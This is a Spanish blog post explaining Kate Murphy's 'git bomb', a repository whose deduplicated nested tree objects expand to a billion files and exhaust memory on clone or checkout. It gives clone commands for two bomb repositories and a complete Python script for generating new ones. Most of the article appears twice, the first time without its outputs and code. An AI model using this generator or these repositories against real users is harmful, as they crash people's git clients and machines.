Kate Murphy ha publicado un interesante repositorio al que podríamos llamar "bomba git" el cual es imposible clonar porque el proceso del Git quedará colgado hasta cerrarse o, peor, porque nos quedaremos sin memoria hasta incluso tener que reiniciar...
$ git clone https://github.com/Katee/git-bomb.git
Si navegais por el repositorio, os dareis cuenta de que está formado por sólo 12 objetos. Entonces, ¿cómo un repositorio tan pequeño hace que git se quede sin memoria? El secreto es que git desduplica "blobs" (que se utilizan para almacenar archivos) para hacer los repositorios más pequeños y permite el uso del mismo blob cuando un archivo permanece sin cambios entre commits; y lo mismo con objetos "árbol" o tree (que definen la estructura de directorios en un repositorio).
'git-bomb' trata de hacer mil millones de archivos, sin embargo, sólo tiene 10 referencias a la blob de archivos y sólo tiene 10 objetos de árbol en total.
Es muy parecido al ataque de "mil millones de risas" también llamado "bomba XML", de ahí el nombre de "bomba git".
Estructura
En la parte inferior hay un archivo de blob que contiene "one laugh":
Luego hay un objeto de árbol que se refiere a este blob 10 veces:
En el medio tendremos 9 capas de objetos de árbol que se refieren al objeto de árbol debajo de ellos (aquí está el objeto del árbol superior):
Finalmente la referencia maestra sólo apunta al objeto de árbol de la parte superior:
Nota: Hay que tener en cuenta que tratar de interactuar con cualquier cosa que sea explorar el árbol del repositorio (git status, git checkout) dará problemas de memoria porque precisamente git construye el árbol en la memoria antes de escribir archivos en el disco. Eso significa que el proceso se destruirá en lugar de llenar el espacio en disco.
Otras bombas Git
Aquí hay una versión ligeramente diferente de la misma idea. Este repo tiene 15.000 objetos de árbol anidados. Esto hará "volar" la pila la mayoría de las veces y causará un segfault.
$ git clone https://github.com/Katee/git-bomb-segfault.git
Por último, si quieres hacer tus propias bombas git puedes utilizar el siguiente script, también cortesía de Kate:
Fuentes:
- Exploding Git Repositories: https://kate.io/blog/git-bomb/
- Github: https://github.com/Katee/git-bomb
$ git clone https://github.com/Katee/git-bomb.git
Si navegais por el repositorio, os dareis cuenta de que está formado por sólo 12 objetos. Entonces, ¿cómo un repositorio tan pequeño hace que git se quede sin memoria? El secreto es que git desduplica "blobs" (que se utilizan para almacenar archivos) para hacer los repositorios más pequeños y permite el uso del mismo blob cuando un archivo permanece sin cambios entre commits; y lo mismo con objetos "árbol" o tree (que definen la estructura de directorios en un repositorio).
'git-bomb' trata de hacer mil millones de archivos, sin embargo, sólo tiene 10 referencias a la blob de archivos y sólo tiene 10 objetos de árbol en total.
Es muy parecido al ataque de "mil millones de risas" también llamado "bomba XML", de ahí el nombre de "bomba git".
Estructura
En la parte inferior hay un archivo de blob que contiene "one laugh":
$ git show 5faa3895522087022ba6fc9e64b02653bd7c4283
one laugh
Luego hay un objeto de árbol que se refiere a este blob 10 veces:
$ git ls-tree 6961ae061a9b89b91162c00d55425b39a19c9f90
100644 blob 5faa3895522087022ba6fc9e64b02653bd7c4283 f0
100644 blob 5faa3895522087022ba6fc9e64b02653bd7c4283 f1
# … snipped
100644 blob 5faa3895522087022ba6fc9e64b02653bd7c4283 f9
En el medio tendremos 9 capas de objetos de árbol que se refieren al objeto de árbol debajo de ellos (aquí está el objeto del árbol superior):
$ git ls-tree 106d3b1c00034193bbe91194eb8a90fc45006377
040000 tree 8d106ebc17b2de80acefd454825d394b9bc47fe6 d0
040000 tree 8d106ebc17b2de80acefd454825d394b9bc47fe6 d1
# … snipped
040000 tree 8d106ebc17b2de80acefd454825d394b9bc47fe6 d9
Finalmente la referencia maestra sólo apunta al objeto de árbol de la parte superior:
$ git log --pretty=format:"%s | tree: %T"
Create a git bomb | tree: 106d3b1c00034193bbe91194eb8a90fc45006377
Nota: Hay que tener en cuenta que tratar de interactuar con cualquier cosa que sea explorar el árbol del repositorio (git status, git checkout) dará problemas de memoria porque precisamente git construye el árbol en la memoria antes de escribir archivos en el disco. Eso significa que el proceso se destruirá en lugar de llenar el espacio en disco.
Otras bombas Git
Aquí hay una versión ligeramente diferente de la misma idea. Este repo tiene 15.000 objetos de árbol anidados. Esto hará "volar" la pila la mayoría de las veces y causará un segfault.
$ git clone https://github.com/Katee/git-bomb-segfault.git
Por último, si quieres hacer tus propias bombas git puedes utilizar el siguiente script, también cortesía de Kate:
#! /usr/bin/env python3
import binascii
import subprocess
import tempfile
def write_git_object(object_body, type='tree'):
'''Writes a git object and returns the hash'''
with tempfile.NamedTemporaryFile() as f:
f.write(object_body)
f.flush()
command = ['git', 'hash-object', '-w', '-t', type, f.name]
return subprocess.check_output(command).strip()
def write_git_commit(tree_hash, commit_message='Create a git bomb'):
'''Writes a git commit and returns the hash'''
command = ['git', 'commit-tree', '-m', commit_message, tree_hash]
return subprocess.check_output(command).strip()
def create_tree(dirs, perm):
body = b''
for a_dir in sorted(dirs, key=lambda x: x[0]):
body += bytearray(perm, 'ascii') + b'\x20' + bytearray(a_dir[0], 'ascii') + b'\x00' + binascii.unhexlify(a_dir[1])
return body
def create_blob(body=''):
return bytearray(body, 'ascii')
if __name__ == '__main__':
depth = 10 # how many layers deep
width = 10 # how many files or folders per depth level
blob_body = 'one laugh' # content of blob at bottom
# create base blob
blob_hash = write_git_object(create_blob(body=blob_body), type='blob')
# write tree object containing many files
dirs = [('f' + str(i), blob_hash) for i in range(width)]
tree_hash = write_git_object(create_tree(dirs, '100644'), type='tree')
# make layers of tree objects using the previous tree object
for i in range(depth - 1):
other_dirs = [('d' + str(i), tree_hash) for i in range(width)]
tree_hash = write_git_object(create_tree(other_dirs, '40000'), type='tree')
commit_hash = write_git_commit(tree_hash)
# update master ref
open('.git/refs/heads/master', 'wb').write(commit_hash)
Fuentes:
- Exploding Git Repositories: https://kate.io/blog/git-bomb/
- Github: https://github.com/Katee/git-bomb
Comentarios
Publicar un comentario